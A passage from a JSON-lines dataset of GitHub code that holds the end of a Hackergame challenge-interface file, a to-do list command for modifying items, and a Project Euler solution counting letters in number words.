old.get('token')\n new_token = new and new.get('token')\n if new_token and new_token != old_token:\n if cls._add_user(new['pk']):\n models.User.objects.create(user=new['pk'])\n\n @classmethod\n def app_ready(cls):\n User.subscribers.append(cls._user_event)\n","repo_name":"SUSTech-CRA/ustc-hackergame","sub_path":"server/challenge/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":11475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"37652218519","text":"import command.helpers as hp\nfrom db.helpers.activities import increment_priorities\n\ndef modify(session, tip, id, title, *args):\n\n quoted = \"\\\"\" + title + \"\\\"\"\n\n choice = int(input(\n \"\\nHow do you want to modify \" + quoted + \"?\\n\"\n \"1. Change the description\\n\"\n \"2. Move it to another place in the list\\n\"\n \"3. Archive it\\n\"\n \"4. Change its priority\\n\"\n ))\n \n if choice == 1:\n new_title = input(\"New title: \")\n print(quoted + \" will be changed to \\\"\" + new_title + \"\\\"\")\n return {\"title\": new_title}\n\n elif choice == 2:\n\n node = hp.browser(tip)\n\n order_index, confirm_order = hp.ordering(node)\n\n print(\n quoted\n + \" will be moved under \\\"\" + node.title + \"\\\"\"\n + confirm_order\n )\n return {\"parent_id\": node.id, \"order_index\": order_index}\n\n elif choice == 3:\n print(\"\\\"\" + title + \"\\\" will be archived\\n\")\n return {\"status\": 0}\n\n elif choice == 4:\n change = input(\"Increase or decrease priority of \" + quoted + \"? I/d \").lower()\n if change == \"i\":\n increment = 1, \"increased\"\n elif change == \"d\":\n increment = -1, \"decreased\"\n else:\n print(\"Not a valid selection. Exiting.\")\n print(\"The priority of \" + quoted + \" will be \" + increment[1])\n \n increment_priorities(session, id, increment[0])\n return {}\n \n","repo_name":"dsethlewis/random-act","sub_path":"app/command/modify.py","file_name":"modify.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9362475756","text":"#===============================================================================\r\n# If all the numbers from 1 to 1000 (one thousand) inclusive were written out in words, how many letters would be used?\r\n#===============================================================================\r\n\r\nwords = {}\r\nwords[1] = 'one'\r\nwords[2] = 'two'\r\nwords[3] = 'three'\r\nwords[4] = 'four'\r\nwords[5] = 'five'\r\nwords[6] = 'six'\r\nwords[7] = 'seven'\r\nwords[8] = 'eight'\r\nwords[9] = 'nine'\r\nwords[10] = 'ten'\r\nwords[11] = 'eleven'\r\nwords[12] = 'twelve'\r\nwords[13] = 'thirteen'\r\nwords[14] = 'fourteen'\r\nwords[15] = 'fifteen'\r\nwords[16] = 'sixteen'\r\nwords[17] = 'seventeen'\r\nwords[18] = 'eighteen'\r\nwords[19] = 'nineteen'\r\nwords[20] = 'twenty'\r\nwords[30] = 'thirty'\r\nwords[40] = 'forty'\r\nwords[50] = 'fifty'\r\nwords[60] = 'sixty'\r\nwords[70] = 'seventy'\r\nwords[80] = 'eighty'\r\nwords[90] = 'ninety'\r\nwords[100] = 'one hundred'\r\n\r\ndef numToWord(n):\r\n word = ''\r\n if n <= 100:\r\n if n % 10 == 0 or n <= 20:\r\n word = words[n]\r\n else:\r\n word = words[n // 10 * 10] + '-' + words[n % 10]\r\n elif n < 1000:\r\n if n % 100 == 0:\r\n word = words[n // 100] + ' hundred'\r\n else:\r\n word = words[n // 100] + ' hundred and ' + numToWord(n % 100)\r\n else:\r\n word = 'one thousand'\r\n return word\r\n\r\nprint(sum([len(numToWord(i).replace('-', '').replace(' ', '')) for i in range(1, 1001)]))","repo_name":"pbjc/project-euler","sub_path":"Problem017.py","file_name":"Problem017.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"}